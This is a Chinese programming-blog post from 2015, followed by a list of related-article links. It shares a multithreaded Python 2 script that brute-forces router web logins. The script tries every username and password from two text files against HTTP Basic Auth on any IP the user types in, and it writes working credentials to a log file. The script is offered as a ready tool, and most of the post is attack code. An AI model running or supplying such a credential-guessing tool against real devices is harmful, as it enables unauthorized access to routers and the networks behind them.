python实现多线程暴力破解登陆路由器功能代码分享


Posted in Python onJanuary 04, 2015

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

#coding:utf-8- 

import base64 

import urllib2 

import Queue 

import threading,re,sys 

queue = Queue.Queue() 

class Rout_thread(threading.Thread):
  def __init__(self,queue,passwd):
    threading.Thread.__init__(self) 

    self.queue=queue 

    self.passwordlist=passwd 

  def run(self): 

    self.user=queue.get() 

    for self.passwd in self.passwordlist: 

      request = urllib2.Request("http://"+target) 

      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) 

      request.add_header('Authorization', psw_base64) 

      try: 

         

        response = urllib2.urlopen(request) 

        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) 

        fp3 = open('log.txt','a') 

        fp3.write(self.user+'||'+self.passwd+'\r\n') 

        fp3.close() 

      except urllib2.HTTPError: 

        print "[-]password:%s Error!" % (self.passwd)
 
if __name__ == '__main__': 

  print ''' 

    ####################################################### 

    #                                                     # 

    #                Routing brute force tool             # 

    #                                                     # 

    #                 by:well                             # 

    #                                                    # 

    ####################################################### 

''' 

  passwordlist = [] 

  line = 20 

  threads = [] 

  global target 

  target = raw_input("input ip:") 

  fp =open("user.txt") 

  fp2=open("passwd.txt") 

  for user in fp.readlines(): 

    queue.put(user.split('\n')[0]) 

  for passwd in fp2.readlines(): 

    passwordlist.append(passwd.split('\n')[0]) 

    #print passwordlist 

       

  fp.close() 

  fp2.close() 

  for i in range(line): 

    a = Rout_thread(queue,passwordlist) 

    a.start() 

    threads.append(a) 

  for j in threads: 

    j.join()
Python 相关文章推荐
解析Python中的二进制位运算符
May 13 Python
详谈在flask中使用jsonify和json.dumps的区别
Mar 26 Python
python统计字母、空格、数字等字符个数的实例
Jun 29 Python
python判断输入日期为第几天的实例
Nov 13 Python
python如何获取列表中每个元素的下标位置
Jul 01 Python
python return逻辑判断表达式实现解析
Dec 02 Python
python装饰器的特性原理详解
Dec 25 Python
Python作用域与名字空间原理详解
Mar 21 Python
在pycharm中使用matplotlib.pyplot 绘图时报错的解决
Jun 01 Python
python:删除离群值操作(每一行为一类数据)
Jun 08 Python
python中有帮助函数吗
Jun 19 Python
python实现控制台输出颜色
Mar 02 Python
Python中对列表排序实例
Jan 04 #Python
Python实现爬取知乎神回复简单爬虫代码分享
Jan 04 #Python
Python连接mssql数据库编码问题解决方法
Jan 01 #Python
Python中optparse模块使用浅析
Jan 01 #Python
Python中urllib2模块的8个使用细节分享
Jan 01 #Python
Python读取ini文件、操作mysql、发送邮件实例
Jan 01 #Python
Python实现检测服务器是否可以ping通的2种方法
Jan 01 #Python
You might like
The specified CGI application misbehaved by not returning a complete set of HTTP headers
2011/03/31 PHP
php判断上传的Excel文件中是否有图片及PHPExcel库认识
2013/01/11 PHP
教你如何使用php session
2013/10/28 PHP
PHP内核探索:变量存储与类型使用说明
2014/01/30 PHP
Yii多表联合查询操作详解
2016/06/02 PHP
基于thinkPHP框架实现留言板的方法
2016/10/17 PHP
AJAX 网页保留浏览器前进后退等功能
2011/02/12 Javascript
使用非html5实现js板连连看游戏示例代码
2013/09/22 Javascript
js函数在frame中的相互调用详解
2014/03/03 Javascript
页面元素绑定jquery toggle后元素隐藏的解决方法
2014/03/27 Javascript
JavaScript中标识符提升问题
2015/06/11 Javascript
JS实现双击屏幕滚动效果代码
2015/10/28 Javascript
谈一谈JS消息机制和事件机制的理解
2016/04/14 Javascript
jQuery.ajax 跨域请求webapi设置headers的解决方案
2016/08/08 Javascript
JS前端开发判断是否是手机端并跳转操作(小结)
2017/02/05 Javascript
js实现文字跑马灯效果
2017/02/23 Javascript
利用Node.js检测端口是否被占用的方法
2017/12/07 Javascript
Vue.js递归组件构建树形菜单
2017/12/24 Javascript
详解Vue后台管理系统开发日常总结(组件PageHeader)
2019/11/01 Javascript
jQuery 动画与停止动画效果实例详解
2020/05/19 jQuery
jQuery 添加元素和删除元素的方法
2020/07/15 jQuery
Python简单实现Base64编码和解码的方法
2017/04/29 Python
python requests 使用快速入门
2017/08/31 Python
Python中Numpy ndarray的使用详解
2019/05/24 Python
python3-flask-3将信息写入日志的实操方法
2019/11/12 Python
win10下opencv-python特定版本手动安装与pip自动安装教程
2020/03/05 Python
Bjorn Borg官方网上商店:国际运动时尚品牌
2016/08/27 全球购物
APM Monaco中国官网:来自摩纳哥珠宝品牌
2017/12/27 全球购物
美国运动鞋和服装网上商店:YCMC
2018/09/15 全球购物
Madewell澳大利亚官方网站:美国休闲服饰品牌
2019/07/18 全球购物
酒店管理自荐信
2013/10/23 职场文书
实习教师个人的自我评价
2013/11/08 职场文书
计划生育目标责任书
2015/05/09 职场文书
压缩Redis里的字符串大对象操作
2021/06/23 Redis
Matplotlib绘制条形图的方法你知道吗
2022/03/21 Python
win10以太网连接不上怎么办?Win10连接以太网详细教程
2022/04/08 数码科技